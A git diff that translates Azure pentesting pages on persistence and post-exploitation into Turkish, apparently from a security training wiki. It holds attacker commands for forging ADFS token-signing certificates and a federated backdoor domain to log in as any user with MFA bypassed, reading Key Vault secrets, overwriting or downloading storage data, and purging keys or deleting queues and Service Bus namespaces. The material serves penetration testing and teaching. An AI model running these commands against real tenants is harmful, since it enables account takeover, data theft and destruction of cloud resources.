-- For certificate based authentication - +- Sertifika tabanlı kimlik doğrulama için ```powershell Connect-AzAccount -ServicePrincipal -Tenant -CertificateThumbprint -ApplicationId ``` - ### Federation - Token Signing Certificate -With **DA privileges** on on-prem AD, it is possible to create and import **new Token signing** and **Token Decrypt certificates** that have a very long validity. This will allow us to **log-in as any user** whose ImuutableID we know. - -**Run** the below command as **DA on the ADFS server(s)** to create new certs (default password 'AADInternals'), add them to ADFS, disable auto rollver and restart the service: +On-prem AD üzerinde **DA ayrıcalıkları** ile, çok uzun geçerlilik süresine sahip **yeni Token signing** ve **Token Decrypt sertifikaları** oluşturmak ve içe aktarmak mümkündür. Bu, bildiğimiz herhangi bir kullanıcının ImuutableID'si ile **giriş yapmamıza** olanak tanıyacaktır. +**Yeni sertifikaları oluşturmak için** aşağıdaki komutu **ADFS sunucusunda DA olarak** çalıştırın (varsayılan şifre 'AADInternals'), bunları ADFS'ye ekleyin, otomatik yenilemeyi devre dışı bırakın ve hizmeti yeniden başlatın: ```powershell New-AADIntADFSSelfSignedCertificates ``` - -Then, update the certificate information with Azure AD: - +Sonra, sertifika bilgilerini Azure AD ile güncelleyin: ```powershell Update-AADIntADFSFederationSettings -Domain cyberranges.io ``` +### Federation - Güvenilir Alan -### Federation - Trusted Domain - -With GA privileges on a tenant, it's possible to **add a new domain** (must be verified), configure its authentication type to Federated and configure the domain to **trust a specific certificate** (any.sts in the below command) and issuer: - +GA ayrıcalıkları ile bir kiracıda, **yeni bir alan eklemek** mümkündür (doğrulanması gerekir), kimlik doğrulama türünü Federated olarak yapılandırmak ve alanı **belirli bir sertifikaya** (aşağıdaki komutta any.sts) ve vericiye güvenecek şekilde yapılandırmak mümkündür: ```powershell # Using AADInternals ConvertTo-AADIntBackdoor -DomainName cyberranges.io @@ -60,13 +51,8 @@ Get-MsolUser | select userPrincipalName,ImmutableID # Access any cloud app as the user Open-AADIntOffice365Portal -ImmutableID qIMPTm2Q3kimHgg4KQyveA== -Issuer "http://any.sts/B231A11F" -UseBuiltInCertificate -ByPassMFA$true ``` - -## References +## Referanslar - [https://aadinternalsbackdoor.azurewebsites.net/](https://aadinternalsbackdoor.azurewebsites.net/) {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md b/src/pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md index 7fda7614d..9eaf6b642 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-queue-persistance.md @@ -4,7 +4,7 @@ ## Queue -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../az-services/az-queue-enum.md @@ -12,8 +12,7 @@ For more information check: ### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/write` -This permission allows an attacker to create or modify queues and their properties within the storage account. It can be used to create unauthorized queues, modify metadata, or change access control lists (ACLs) to grant or restrict access. This capability could disrupt workflows, inject malicious data, exfiltrate sensitive information, or manipulate queue settings to enable further attacks. - +Bu izin, bir saldırganın depolama hesabı içinde kuyruklar ve bunların özelliklerini oluşturmasına veya değiştirmesine olanak tanır. Yetkisiz kuyruklar oluşturmak, meta verileri değiştirmek veya erişim kontrol listelerini (ACL'ler) değiştirerek erişimi vermek veya kısıtlamak için kullanılabilir. Bu yetenek, iş akışlarını bozabilir, kötü niyetli veriler enjekte edebilir, hassas bilgileri dışarı sızdırabilir veya daha fazla saldırıyı mümkün kılmak için kuyruk ayarlarını manipüle edebilir. ```bash az storage queue create --name --account-name @@ -21,15 +20,10 @@ az storage queue metadata update --name --metadata key1=value1 key2 az storage queue policy set --name --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name ``` - -## References +## Referanslar - https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues - https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api - https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md index 95dedb925..a147db045 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-storage-persistence.md @@ -4,42 +4,34 @@ ## Storage Privesc -For more information about storage check: +Depolama hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../az-services/az-storage.md {{#endref}} -### Common tricks +### Yaygın hileler -- Keep the access keys -- Generate SAS - - User delegated are 7 days max +- Erişim anahtarlarını saklayın +- SAS oluşturun +- Kullanıcı devredilen en fazla 7 gündür ### Microsoft.Storage/storageAccounts/blobServices/containers/update && Microsoft.Storage/storageAccounts/blobServices/deletePolicy/write -These permissions allows the user to modify blob service properties for the container delete retention feature, which enables or configures the retention period for deleted containers. These permissions can be used for maintaining persistence to provide a window of opportunity for the attacker to recover or manipulate deleted containers that should have been permanently removed and accessing sensitive information. - +Bu izinler, kullanıcının silinmiş konteynerler için saklama süresini etkinleştiren veya yapılandıran konteyner silme saklama özelliği için blob hizmeti özelliklerini değiştirmesine olanak tanır. Bu izinler, saldırganın kalıcı olarak silinmesi gereken silinmiş konteynerleri geri kazanması veya manipüle etmesi için bir fırsat penceresi sağlamak amacıyla kalıcılığı sürdürmek için kullanılabilir ve hassas bilgilere erişim sağlar. ```bash az storage account blob-service-properties update \ - --account-name \ - --enable-container-delete-retention true \ - --container-delete-retention-days 100 +--account-name \ +--enable-container-delete-retention true \ +--container-delete-retention-days 100 ``` - ### Microsoft.Storage/storageAccounts/read && Microsoft.Storage/storageAccounts/listKeys/action -These permissions can lead to the attacker to modify the retention policies, restoring deleted data, and accessing sensitive information. - +Bu izinler, saldırganın saklama politikalarını değiştirmesine, silinmiş verileri geri yüklemesine ve hassas bilgilere erişmesine yol açabilir. ```bash az storage blob service-properties delete-policy update \ - --account-name \ - --enable true \ - --days-retained 100 +--account-name \ +--enable true \ +--days-retained 100 ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md b/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md index 8d020a39e..2d7fc7555 100644 --- a/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md +++ b/src/pentesting-cloud/azure-security/az-persistence/az-vms-persistence.md @@ -2,28 +2,24 @@ {{#include ../../../banners/hacktricks-training.md}} -## VMs persistence +## VMs kalıcılığı -For more information about VMs check: +VM'ler hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../az-services/vms/ {{#endref}} -### Backdoor VM applications, VM Extensions & Images +### Arka kapı VM uygulamaları, VM Uzantıları ve Görüntüler -An attacker identifies applications, extensions or images being frequently used in the Azure account, he could insert his code in VM applications and extensions so every time they get installed the backdoor is executed. +Bir saldırgan, Azure hesabında sıkça kullanılan uygulamaları, uzantıları veya görüntüleri belirlerse, arka kapısını her kurulduğunda çalıştırmak için VM uygulamalarına ve uzantılarına kodunu ekleyebilir. -### Backdoor Instances +### Arka Kapı Örnekleri -An attacker could get access to the instances and backdoor them: +Bir saldırgan, örneklere erişim sağlayabilir ve bunları arka kapılayabilir: -- Using a traditional **rootkit** for example -- Adding a new **public SSH key** (check [EC2 privesc options](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc)) -- Backdooring the **User Data** +- Örneğin, geleneksel bir **rootkit** kullanarak +- Yeni bir **genel SSH anahtarı** ekleyerek (kontrol et [EC2 privesc seçenekleri](https://cloud.hacktricks.xyz/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ec2-privesc)) +- **Kullanıcı Verilerini** arka kapılayarak {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md index 53b20671b..63088a93b 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/README.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/README.md @@ -1,6 +1 @@ # Az - Post Exploitation - - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md index 9c3d0b8c6..d20ba30e5 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md @@ -4,7 +4,7 @@ ## Storage Privesc -For more information about storage check: +Storage hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../az-services/az-storage.md @@ -12,38 +12,30 @@ For more information about storage check: ### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read -A principal with this permission will be able to **list** the blobs (files) inside a container and **download** the files which might contain **sensitive information**. - +Bu izne sahip bir yetkili, bir konteyner içindeki **blob'ları** (dosyaları) **listeleyebilir** ve **hassas bilgileri** içerebilecek dosyaları **indirebilir**. ```bash # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/read az storage blob list \ - --account-name \ - --container-name --auth-mode login +--account-name \ +--container-name --auth-mode login az storage blob download \ - --account-name \ - --container-name \ - -n file.txt --auth-mode login +--account-name \ +--container-name \ +-n file.txt --auth-mode login ``` - ### Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write -A principal with this permission will be able to **write and overwrite files in containers** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some code stored in a blob): - +Bu izne sahip bir yetkili, **konteynerlerde dosyaları yazma ve üzerine yazma** yeteneğine sahip olacak, bu da ona bazı zararlar verme veya hatta yetkileri artırma imkanı tanıyabilir (örneğin, bir blob'da saklanan bazı kodları üzerine yazmak): ```bash # e.g. Microsoft.Storage/storageAccounts/blobServices/containers/blobs/write az storage blob upload \ - --account-name \ - --container-name \ - --file /tmp/up.txt --auth-mode login --overwrite +--account-name \ +--container-name \ +--file /tmp/up.txt --auth-mode login --overwrite ``` - ### \*/delete -This would allow to delete objects inside the storage account which might **interrupt some services** or make the client **lose valuable information**. +Bu, depolama hesabı içindeki nesneleri silmeye izin verecektir ki bu da bazı hizmetleri **kesintiye uğratabilir** veya müşterinin **değerli bilgileri kaybetmesine** neden olabilir. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md index b3d3cf90f..cdd6bdfbd 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-file-share-post-exploitation.md @@ -1,10 +1,10 @@ -# Az - File Share Post Exploitation +# Az - Dosya Paylaşımı Sonrası Sömürü {{#include ../../../banners/hacktricks-training.md}} -File Share Post Exploitation +Dosya Paylaşımı Sonrası Sömürü -For more information about file shares check: +Dosya paylaşımları hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../az-services/az-file-shares.md @@ -12,41 +12,33 @@ For more information about file shares check: ### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/read -A principal with this permission will be able to **list** the files inside a file share and **download** the files which might contain **sensitive information**. - +Bu izne sahip bir yetkili, bir dosya paylaşımındaki dosyaları **listeleyebilir** ve **duyarlı bilgileri** içerebilecek dosyaları **indirebilir**. ```bash # List files inside an azure file share az storage file list \ - --account-name \ - --share-name \ - --auth-mode login --enable-file-backup-request-intent +--account-name \ +--share-name \ +--auth-mode login --enable-file-backup-request-intent # Download an specific file az storage file download \ - --account-name \ - --share-name \ - --path \ - --dest /path/to/down \ - --auth-mode login --enable-file-backup-request-intent +--account-name \ +--share-name \ +--path \ +--dest /path/to/down \ +--auth-mode login --enable-file-backup-request-intent ``` - ### Microsoft.Storage/storageAccounts/fileServices/fileshares/files/write, Microsoft.Storage/storageAccounts/fileServices/writeFileBackupSemantics/action -A principal with this permission will be able to **write and overwrite files in file shares** which might allow him to cause some damage or even escalate privileges (e.g. overwrite some code stored in a file share): - +Bu izne sahip bir yetkili, **dosya paylaşımlarında dosyaları yazma ve üzerine yazma** yeteneğine sahip olacak, bu da ona bazı zararlar verme veya hatta yetkileri artırma imkanı verebilir (örneğin, bir dosya paylaşımında saklanan bazı kodları üzerine yazmak): ```bash az storage blob upload \ - --account-name \ - --container-name \ - --file /tmp/up.txt --auth-mode login --overwrite +--account-name \ +--container-name \ +--file /tmp/up.txt --auth-mode login --overwrite ``` - ### \*/delete -This would allow to delete file inside the shared filesystem which might **interrupt some services** or make the client **lose valuable information**. +Bu, paylaşılan dosya sistemindeki dosyaları silmeye izin verebilir, bu da **bazı hizmetlerin kesilmesine** veya müşterinin **değerli bilgileri kaybetmesine** neden olabilir. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md index e511ad994..b001cf09f 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-function-apps-post-exploitation.md @@ -4,18 +4,14 @@ ## Funciton Apps Post Exploitaiton -For more information about function apps check: +Function uygulamaları hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../az-services/az-function-apps.md {{#endref}} -> [!CAUTION] > **Function Apps post exploitation tricks are very related to the privilege escalation tricks** so you can find all of them there: +> [!CAUTION] > **Function Apps sonrası istismar ipuçları, ayrıcalık yükseltme ipuçlarıyla çok ilişkilidir** bu yüzden hepsini orada bulabilirsiniz: {{#ref}} ../az-privilege-escalation/az-functions-app-privesc.md {{#endref}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md index d9357b643..e00446fcf 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-key-vault-post-exploitation.md @@ -4,7 +4,7 @@ ## Azure Key Vault -For more information about this service check: +Bu hizmet hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../az-services/keyvault.md @@ -12,27 +12,22 @@ For more information about this service check: ### Microsoft.KeyVault/vaults/secrets/getSecret/action -This permission will allow a principal to read the secret value of secrets: - +Bu izin, bir yetkilinin gizli değerini okumasına izin verecektir: ```bash az keyvault secret show --vault-name --name # Get old version secret value az keyvault secret show --id https://.vault.azure.net/secrets// ``` - ### **Microsoft.KeyVault/vaults/certificates/purge/action** -This permission allows a principal to permanently delete a certificate from the vault. - +Bu izin, bir yetkilinin bir sertifikayı kasadan kalıcı olarak silmesine olanak tanır. ```bash az keyvault certificate purge --vault-name --name ``` - ### **Microsoft.KeyVault/vaults/keys/encrypt/action** -This permission allows a principal to encrypt data using a key stored in the vault. - +Bu izin, bir yetkilinin, kasada saklanan bir anahtarı kullanarak verileri şifrelemesine olanak tanır. ```bash az keyvault key encrypt --vault-name --name --algorithm --value @@ -40,76 +35,55 @@ az keyvault key encrypt --vault-name --name --algorithm echo "HackTricks" | base64 # SGFja1RyaWNrcwo= az keyvault key encrypt --vault-name testing-1231234 --name testing --algorithm RSA-OAEP-256 --value SGFja1RyaWNrcwo= ``` - ### **Microsoft.KeyVault/vaults/keys/decrypt/action** -This permission allows a principal to decrypt data using a key stored in the vault. - +Bu izin, bir yetkilinin kasada saklanan bir anahtarı kullanarak verileri şifre çözmesine olanak tanır. ```bash az keyvault key decrypt --vault-name --name --algorithm --value # Example az keyvault key decrypt --vault-name testing-1231234 --name testing --algorithm RSA-OAEP-256 --value "ISZ+7dNcDJXLPR5MkdjNvGbtYK3a6Rg0ph/+3g1IoUrCwXnF791xSF0O4rcdVyyBnKRu0cbucqQ/+0fk2QyAZP/aWo/gaxUH55pubS8Zjyw/tBhC5BRJiCtFX4tzUtgTjg8lv3S4SXpYUPxev9t/9UwUixUlJoqu0BgQoXQhyhP7PfgAGsxayyqxQ8EMdkx9DIR/t9jSjv+6q8GW9NFQjOh70FCjEOpYKy9pEGdLtPTrirp3fZXgkYfIIV77TXuHHdR9Z9GG/6ge7xc9XT6X9ciE7nIXNMQGGVCcu3JAn9BZolb3uL7PBCEq+k2rH4tY0jwkxinM45tg38Re2D6CEA==" # This is the result from the previous encryption ``` - ### **Microsoft.KeyVault/vaults/keys/purge/action** -This permission allows a principal to permanently delete a key from the vault. - +Bu izin, bir yetkilinin bir anahtarı kasadan kalıcı olarak silmesine olanak tanır. ```bash az keyvault key purge --vault-name --name ``` - ### **Microsoft.KeyVault/vaults/secrets/purge/action** -This permission allows a principal to permanently delete a secret from the vault. - +Bu izin, bir yetkilinin bir sırrı kasadan kalıcı olarak silmesine olanak tanır. ```bash az keyvault secret purge --vault-name --name ``` - ### **Microsoft.KeyVault/vaults/secrets/setSecret/action** -This permission allows a principal to create or update a secret in the vault. - +Bu izin, bir yetkilinin kasada bir gizli anahtar oluşturmasına veya güncellemesine olanak tanır. ```bash az keyvault secret set --vault-name --name --value ``` - ### **Microsoft.KeyVault/vaults/certificates/delete** -This permission allows a principal to delete a certificate from the vault. The certificate is moved to the "soft-delete" state, where it can be recovered unless purged. - +Bu izin, bir yetkilinin bir sertifikayı kasadan silmesine olanak tanır. Sertifika, "yumuşak silme" durumuna taşınır; burada, temizlenmedikçe geri yüklenebilir. ```bash az keyvault certificate delete --vault-name --name ``` - ### **Microsoft.KeyVault/vaults/keys/delete** -This permission allows a principal to delete a key from the vault. The key is moved to the "soft-delete" state, where it can be recovered unless purged. - +Bu izin, bir yetkilinin bir anahtarı kasadan silmesine olanak tanır. Anahtar, temizlenmediği sürece kurtarılabileceği "yumuşak silme" durumuna taşınır. ```bash az keyvault key delete --vault-name --name ``` - ### **Microsoft.KeyVault/vaults/secrets/delete** -This permission allows a principal to delete a secret from the vault. The secret is moved to the "soft-delete" state, where it can be recovered unless purged. - +Bu izin, bir yetkilinin kasadan bir sırrı silmesine olanak tanır. Sır, "yumuşak silme" durumuna taşınır; burada, temizlenmedikçe geri yüklenebilir. ```bash az keyvault secret delete --vault-name --name ``` - ### Microsoft.KeyVault/vaults/secrets/restore/action -This permission allows a principal to restore a secret from a backup. - +Bu izin, bir yetkilinin bir yedekten bir sırrı geri yüklemesine olanak tanır. ```bash az keyvault secret restore --vault-name --file ``` - {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md index 03c59a8d5..2919d11c4 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-queue-post-exploitation.md @@ -4,7 +4,7 @@ ## Queue -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../az-services/az-queue-enum.md @@ -12,66 +12,53 @@ For more information check: ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/read` -An attacker with this permission can peek messages from an Azure Storage Queue. This allows the attacker to view the content of messages without marking them as processed or altering their state. This could lead to unauthorized access to sensitive information, enabling data exfiltration or gathering intelligence for further attacks. - +Bu izne sahip bir saldırgan, bir Azure Storage Queue'dan mesajları görebilir. Bu, saldırgana mesajların içeriğini işlenmiş olarak işaretlemeden veya durumlarını değiştirmeden görüntüleme imkanı tanır. Bu, hassas bilgilere yetkisiz erişime yol açabilir ve veri sızdırma veya daha fazla saldırı için istihbarat toplama olanağı sağlayabilir. ```bash az storage message peek --queue-name --account-name ``` - -**Potential Impact**: Unauthorized access to the queue, message exposure, or queue manipulation by unauthorized users or services. +**Potansiyel Etki**: Kuyruğa yetkisiz erişim, mesajların ifşası veya yetkisiz kullanıcılar veya hizmetler tarafından kuyruk manipülasyonu. ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/process/action` -With this permission, an attacker can retrieve and process messages from an Azure Storage Queue. This means they can read the message content and mark it as processed, effectively hiding it from legitimate systems. This could lead to sensitive data being exposed, disruptions in how messages are handled, or even stopping important workflows by making messages unavailable to their intended users. - +Bu izinle, bir saldırgan Azure Storage Kuyruğundan mesajları alabilir ve işleyebilir. Bu, mesaj içeriğini okuyabilecekleri ve işlenmiş olarak işaretleyebilecekleri anlamına gelir, bu da mesajı meşru sistemlerden gizler. Bu, hassas verilerin ifşa edilmesine, mesajların nasıl işlendiğinde kesintilere veya mesajları hedef kullanıcılarına ulaştırmamayı sağlayarak önemli iş akışlarının durmasına yol açabilir. ```bash az storage message get --queue-name --account-name ``` - ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/add/action` -With this permission, an attacker can add new messages to an Azure Storage Queue. This allows them to inject malicious or unauthorized data into the queue, potentially triggering unintended actions or disrupting downstream services that process the messages. - +Bu izinle, bir saldırgan Azure Storage Queue'ya yeni mesajlar ekleyebilir. Bu, kötü niyetli veya yetkisiz verilerin kuyruğa enjekte edilmesine olanak tanır ve bu da istenmeyen eylemleri tetikleyebilir veya mesajları işleyen aşağı akış hizmetlerini kesintiye uğratabilir. ```bash az storage message put --queue-name --content "Injected malicious message" --account-name ``` - ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/write` -This permission allows an attacker to add new messages or update existing ones in an Azure Storage Queue. By using this, they could insert harmful content or alter existing messages, potentially misleading applications or causing undesired behaviors in systems that rely on the queue. - +Bu izin, bir saldırganın Azure Storage Queue'da yeni mesajlar eklemesine veya mevcut olanları güncellemesine olanak tanır. Bunu kullanarak, zararlı içerik ekleyebilir veya mevcut mesajları değiştirebilir, bu da uygulamaları yanıltabilir veya kuyruğa bağımlı sistemlerde istenmeyen davranışlara neden olabilir. ```bash az storage message put --queue-name --content "Injected malicious message" --account-name #Update the message az storage message update --queue-name \ - --id \ - --pop-receipt \ - --content "Updated message content" \ - --visibility-timeout \ - --account-name +--id \ +--pop-receipt \ +--content "Updated message content" \ +--visibility-timeout \ +--account-name ``` - ### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/delete` -This permission allows an attacker to delete queues within the storage account. By leveraging this capability, an attacker can permanently remove queues and all their associated messages, causing significant disruption to workflows and resulting in critical data loss for applications that rely on the affected queues. This action can also be used to sabotage services by removing essential components of the system. - +Bu izin, bir saldırganın depolama hesabındaki kuyrukları silmesine olanak tanır. Bu yetenekten yararlanarak, bir saldırgan kuyrukları ve bunlarla ilişkili tüm mesajları kalıcı olarak kaldırabilir, bu da iş akışlarında önemli kesintilere neden olur ve etkilenen kuyruklara bağımlı uygulamalar için kritik veri kaybına yol açar. Bu eylem ayrıca sistemin temel bileşenlerini kaldırarak hizmetleri sabote etmek için de kullanılabilir. ```bash az storage queue delete --name --account-name ``` - ### DataActions: `Microsoft.Storage/storageAccounts/queueServices/queues/messages/delete` -With this permission, an attacker can clear all messages from an Azure Storage Queue. This action removes all messages, disrupting workflows and causing data loss for systems dependent on the queue. - +Bu izinle, bir saldırgan bir Azure Storage Queue'dan tüm mesajları temizleyebilir. Bu eylem, tüm mesajları kaldırarak iş akışlarını kesintiye uğratır ve kuyruğa bağımlı sistemler için veri kaybına neden olur. ```bash az storage message clear --queue-name --account-name ``` - ### Actions: `Microsoft.Storage/storageAccounts/queueServices/queues/write` -This permission allows an attacker to create or modify queues and their properties within the storage account. It can be used to create unauthorized queues, modify metadata, or change access control lists (ACLs) to grant or restrict access. This capability could disrupt workflows, inject malicious data, exfiltrate sensitive information, or manipulate queue settings to enable further attacks. - +Bu izin, bir saldırganın depolama hesabı içinde kuyruklar ve bunların özelliklerini oluşturmasına veya değiştirmesine olanak tanır. Yetkisiz kuyruklar oluşturmak, meta verileri değiştirmek veya erişim kontrol listelerini (ACL'ler) değiştirerek erişimi vermek veya kısıtlamak için kullanılabilir. Bu yetenek, iş akışlarını kesintiye uğratabilir, kötü niyetli veriler enjekte edebilir, hassas bilgileri dışarı sızdırabilir veya daha fazla saldırıyı mümkün kılmak için kuyruk ayarlarını manipüle edebilir. ```bash az storage queue create --name --account-name @@ -79,15 +66,10 @@ az storage queue metadata update --name --metadata key1=value1 key2 az storage queue policy set --name --permissions rwd --expiry 2024-12-31T23:59:59Z --account-name ``` - -## References +## Referanslar - https://learn.microsoft.com/en-us/azure/storage/queues/storage-powershell-how-to-use-queues - https://learn.microsoft.com/en-us/rest/api/storageservices/queue-service-rest-api - https://learn.microsoft.com/en-us/azure/storage/queues/queues-auth-abac-attributes {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md b/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md index 2fdb2dc55..1823577bb 100644 --- a/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md +++ b/src/pentesting-cloud/azure-security/az-post-exploitation/az-servicebus-post-exploitation.md @@ -4,7 +4,7 @@ ## Service Bus -For more information check: +Daha fazla bilgi için kontrol edin: {{#ref}} ../az-services/az-servicebus-enum.md @@ -12,81 +12,65 @@ For more information check: ### Actions: `Microsoft.ServiceBus/namespaces/Delete` -An attacker with this permission can delete an entire Azure Service Bus namespace. This action removes the namespace and all associated resources, including queues, topics, subscriptions, and their messages, causing widespread disruption and permanent data loss across all dependent systems and workflows. - +Bu izne sahip bir saldırgan, tüm Azure Service Bus ad alanını silebilir. Bu eylem, ad alanını ve ona bağlı tüm kaynakları, kuyruklar, konular, abonelikler ve bunların mesajları dahil olmak üzere, kaldırarak, tüm bağımlı sistemler ve iş akışları üzerinde geniş çaplı kesintilere ve kalıcı veri kaybına neden olur. ```bash az servicebus namespace delete --resource-group --name ``` - ### Actions: `Microsoft.ServiceBus/namespaces/topics/Delete` -An attacker with this permission can delete an Azure Service Bus topic. This action removes the topic and all its associated subscriptions and messages, potentially causing loss of critical data and disrupting systems and workflows relying on the topic. - +Bu izne sahip bir saldırgan, bir Azure Service Bus konusunu silebilir. Bu eylem, konuyu ve ona bağlı tüm abonelikleri ve mesajları kaldırır, bu da kritik verilerin kaybına ve konudan bağımlı sistemlerin ve iş akışlarının kesintiye uğramasına neden olabilir. ```bash az servicebus topic delete --resource-group --namespace-name --name ``` - ### Actions: `Microsoft.ServiceBus/namespaces/queues/Delete` -An attacker with this permission can delete an Azure Service Bus queue. This action removes the queue and all the messages within it, potentially causing loss of critical data and disrupting systems and workflows dependent on the queue. - +Bu izne sahip bir saldırgan, bir Azure Service Bus kuyruğunu silebilir. Bu eylem, kuyruğu ve içindeki tüm mesajları kaldırır, bu da kritik verilerin kaybına ve kuyruğa bağımlı sistemlerin ve iş akışlarının kesintiye uğramasına neden olabilir. ```bash az servicebus queue delete --resource-group --namespace-name --name ``` - ### Actions: `Microsoft.ServiceBus/namespaces/topics/subscriptions/Delete` -An attacker with this permission can delete an Azure Service Bus subscription. This action removes the subscription and all its associated messages, potentially disrupting workflows, data processing, and system operations relying on the subscription. - +Bu izne sahip bir saldırgan, bir Azure Service Bus aboneliğini silebilir. Bu eylem, aboneliği ve ona bağlı tüm mesajları kaldırır, bu da aboneliğe dayanan iş akışlarını, veri işleme süreçlerini ve sistem operasyonlarını potansiyel olarak kesintiye uğratabilir. ```bash az servicebus topic subscription delete --resource-group --namespace-name --topic-name --name ``` - ### Actions: `Microsoft.ServiceBus/namespaces/write` & `Microsoft.ServiceBus/namespaces/read` -An attacker with permissions to create or modify Azure Service Bus namespaces can exploit this to disrupt operations, deploy unauthorized resources, or expose sensitive data. They can alter critical configurations such as enabling public network access, downgrading encryption settings, or changing SKUs to degrade performance or increase costs. Additionally, they could disable local authentication, manipulate replica locations, or adjust TLS versions to weaken security controls, making namespace misconfiguration a significant post-exploitation risk. - +Azure Service Bus ad alanları oluşturma veya değiştirme izinlerine sahip bir saldırgan, bunu operasyonları kesintiye uğratmak, yetkisiz kaynaklar dağıtmak veya hassas verileri açığa çıkarmak için kullanabilir. Kamu ağı erişimini etkinleştirmek, şifreleme ayarlarını düşürmek veya performansı düşürmek veya maliyetleri artırmak için SKU'ları değiştirmek gibi kritik yapılandırmaları değiştirebilirler. Ayrıca, yerel kimlik doğrulamayı devre dışı bırakabilir, kopya konumlarını manipüle edebilir veya güvenlik kontrollerini zayıflatmak için TLS sürümlerini ayarlayabilirler; bu da ad alanı yanlış yapılandırmasını önemli bir post-exploitation riski haline getirir. ```bash az servicebus namespace create --resource-group --name --location az servicebus namespace update --resource-group --name --tags ``` - ### Actions: `Microsoft.ServiceBus/namespaces/queues/write` (`Microsoft.ServiceBus/namespaces/queues/read`) -An attacker with permissions to create or modify Azure Service Bus queues (to modiffy the queue you will also need the Action:`Microsoft.ServiceBus/namespaces/queues/read`) can exploit this to intercept data, disrupt workflows, or enable unauthorized access. They can alter critical configurations such as forwarding messages to malicious endpoints, adjusting message TTL to retain or delete data improperly, or enabling dead-lettering to interfere with error handling. Additionally, they could manipulate queue sizes, lock durations, or statuses to disrupt service functionality or evade detection, making this a significant post-exploitation risk. - +Azure Service Bus kuyruklarını oluşturma veya değiştirme izinlerine sahip bir saldırgan (kuyrukları değiştirmek için ayrıca Action:`Microsoft.ServiceBus/namespaces/queues/read` iznine de ihtiyacınız olacak) bunu verileri yakalamak, iş akışlarını kesintiye uğratmak veya yetkisiz erişimi sağlamak için kullanabilir. Kötü niyetli uç noktalara mesaj iletimi gibi kritik yapılandırmaları değiştirebilir, verileri uygunsuz bir şekilde saklamak veya silmek için mesaj TTL'sini 